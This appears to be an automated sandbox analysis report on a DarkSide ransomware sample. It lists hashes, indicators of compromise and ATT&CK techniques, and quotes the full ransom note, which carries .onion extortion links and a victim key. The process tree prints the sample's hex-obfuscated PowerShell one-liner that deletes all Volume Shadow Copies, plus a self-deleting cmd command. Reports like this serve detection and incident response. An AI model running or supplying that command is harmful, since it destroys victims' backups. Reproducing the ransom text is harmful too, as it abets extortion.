darkside | 4dcb5d42f6a37cb000de14de346978fa3a9f6a8cd4e41aaec3a15534cc726a1d

General

Target

Darkside.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.9d117154.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (172) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Modifies extensions of user files 21 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\CopyUpdate.tiff	Darkside.exe
File renamed	C:\Users\Admin\Pictures\CopyUpdate.tiff => C:\Users\Admin\Pictures\CopyUpdate.tiff.9d117154	Darkside.exe
File renamed	C:\Users\Admin\Pictures\DisconnectBackup.tif => C:\Users\Admin\Pictures\DisconnectBackup.tif.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\PingTest.tiff.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\UnlockNew.tif.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\CopyUpdate.tiff.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\DisconnectBackup.tif.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\OptimizePop.tiff.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\PingTest.tiff	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\SaveOptimize.tiff.9d117154	Darkside.exe
File renamed	C:\Users\Admin\Pictures\StopConvert.crw => C:\Users\Admin\Pictures\StopConvert.crw.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\StopConvert.crw.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\OptimizePop.tiff	Darkside.exe
File renamed	C:\Users\Admin\Pictures\OptimizePop.tiff => C:\Users\Admin\Pictures\OptimizePop.tiff.9d117154	Darkside.exe
File renamed	C:\Users\Admin\Pictures\PingTest.tiff => C:\Users\Admin\Pictures\PingTest.tiff.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\SaveOptimize.tiff	Darkside.exe
File renamed	C:\Users\Admin\Pictures\SaveOptimize.tiff => C:\Users\Admin\Pictures\SaveOptimize.tiff.9d117154	Darkside.exe
File renamed	C:\Users\Admin\Pictures\UnlockNew.tif => C:\Users\Admin\Pictures\UnlockNew.tif.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\UnpublishConfirm.tiff	Darkside.exe
File renamed	C:\Users\Admin\Pictures\UnpublishConfirm.tiff => C:\Users\Admin\Pictures\UnpublishConfirm.tiff.9d117154	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\UnpublishConfirm.tiff.9d117154	Darkside.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	Darkside.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\9d117154.BMP"	Darkside.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\9d117154.BMP"	Darkside.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4948	Darkside.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\Desktop\WallpaperStyle = "10"	Darkside.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "247"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.9d117154\ = "9d117154"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\9d117154\DefaultIcon	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\9d117154	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\9d117154\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\9d117154.ico"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.9d117154	Darkside.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
264	powershell.exe
264	powershell.exe
4948	Darkside.exe
4948	Darkside.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4948	Darkside.exe
Token: SeSecurityPrivilege	4948	Darkside.exe
Token: SeTakeOwnershipPrivilege	4948	Darkside.exe
Token: SeLoadDriverPrivilege	4948	Darkside.exe
Token: SeSystemProfilePrivilege	4948	Darkside.exe
Token: SeSystemtimePrivilege	4948	Darkside.exe
Token: SeProfSingleProcessPrivilege	4948	Darkside.exe
Token: SeIncBasePriorityPrivilege	4948	Darkside.exe
Token: SeCreatePagefilePrivilege	4948	Darkside.exe
Token: SeBackupPrivilege	4948	Darkside.exe
Token: SeRestorePrivilege	4948	Darkside.exe
Token: SeShutdownPrivilege	4948	Darkside.exe
Token: SeDebugPrivilege	4948	Darkside.exe
Token: SeSystemEnvironmentPrivilege	4948	Darkside.exe
Token: SeRemoteShutdownPrivilege	4948	Darkside.exe
Token: SeUndockPrivilege	4948	Darkside.exe
Token: SeManageVolumePrivilege	4948	Darkside.exe
Token: 33	4948	Darkside.exe
Token: 34	4948	Darkside.exe
Token: 35	4948	Darkside.exe
Token: 36	4948	Darkside.exe
Token: SeDebugPrivilege	264	powershell.exe
Token: SeBackupPrivilege	3348	vssvc.exe
Token: SeRestorePrivilege	3348	vssvc.exe
Token: SeAuditPrivilege	3348	vssvc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4176	LogonUI.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4948 wrote to memory of 264	4948	Darkside.exe	85
PID 4948 wrote to memory of 264	4948	Darkside.exe	85
PID 4948 wrote to memory of 5568	4948	Darkside.exe	96
PID 4948 wrote to memory of 5568	4948	Darkside.exe	96
PID 4948 wrote to memory of 5568	4948	Darkside.exe	96

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Darkside.exe
"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"
1⤵
- Modifies extensions of user files
- Checks computer location settings
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:264
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL
  2⤵
  PID:5568

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3348

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38f8055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4176

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nb55du1l.mjl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.9d117154.TXT

Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

Download Submit
memory/264-137-0x00000173EEF30000-0x00000173EEF40000-memory.dmp

Filesize
64KB

Download
memory/264-138-0x00000173EEF30000-0x00000173EEF40000-memory.dmp

Filesize
64KB

Download
memory/264-144-0x00000173EF830000-0x00000173EF852000-memory.dmp

Filesize
136KB

Download
memory/264-149-0x00000173EEF30000-0x00000173EEF40000-memory.dmp

Filesize
64KB

Download

Analysis

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